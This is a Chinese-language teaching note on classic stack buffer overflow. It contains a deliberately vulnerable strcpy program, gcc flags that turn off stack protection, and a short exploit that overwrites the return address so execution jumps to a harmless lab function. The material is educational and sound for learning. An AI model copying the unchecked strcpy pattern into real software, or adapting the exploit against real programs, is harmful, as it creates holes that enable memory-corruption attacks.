栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。
IA-32下C函数调用约定:
call
指令短跳转,会将call指令下一条指令地址(RA
)入栈,供RET指令返回使用push %ebp; mov %esp, %ebp;
则一个函数调用的栈帧情况:
void func(int a,int b,int c) {
int tmp = 0x99;
return ;
}
void main() {
func(1,2,3);
}
0x0 | 参数C |
---|---|
0x4 | 参数B |
0x8 | 参数A |
0xC | RA地址 |
0x10 | 旧%ebp |
0x14 | tmp变量值0x99 |
攻击原理: 利用strcpy(dst, src)
函数,对写入的src
数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。
// a.c
#include
#include
void test(char *str) {
char buffer[16]; // 待攻击处
strcpy(buffer, str);
printf("%s\n", buffer);
}
void hacker(void) {
printf("being hacked\n");
}
int main(int argc,char *argv[]) {
test(argv[1]);
return 0;
}
gcc a.c -o a.out
编译后,objdump -d a.out
反汇编查看栈布局。发现GCC对
strcpy()
的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>
.
首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector
,查看反汇编发现没有了栈检查代码。
由sub $0x28, %esp
指令得知gcc给test()
函数生成了0x28
个字节大小的栈空间,布局如下。
并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax
得到buffer变量在栈上的起始地址
数组buffer
的起始地址是-0x18(%ebp)
,于是便能够知道数组在栈帧的中的位置,
%ebp+0x8 | 参数 char *str |
---|---|
%ebp+0x4 | RA返回地址 |
%ebp当前的值,也就是test的栈底,0 | main的%ebp |
%ebp-0x4 | |
ebp-0x8 | |
-0xC | buf 12~15 |
-0x10 | buf 8~11 |
-0x14 | buf 4~7 |
-0x18 | buf 0~3 |
-0x1C | |
%ebp-0x20 | |
%ebp-0x24 = %esp + 0x4 | strcpy的参数:char *str |
%ebp-0x28 = %esp | strcpy的参数:buf地址=-0x18(%ebp) |
既然有了buffer
数组的位置,那么就能得到buffer
数组到RA
返回地址处的长度=16+3*4=28
字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址
假设我们想要其跳转到void hacker()
函数,写入RA处为hacker()
函数地址即可。反汇编查看hacker()
函数的虚拟地址
有了hacker()
函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()
函数地址+\0
代码如下:
// test.c
#include
#include
char tmp[33];
int main() {
for (int i=0; i<28; i++)
tmp[i] = 'F';
// 对应hacker()地址 0x08048439
tmp[28] = '\x39';
tmp[29] = '\x84';
tmp[30] = '\x04';
tmp[31] = '\x08';
tmp[32] = '\0';
char *argv[3] = { "./a.out", tmp, NULL};
execve(argv[0], argv, NULL);
return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99
需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。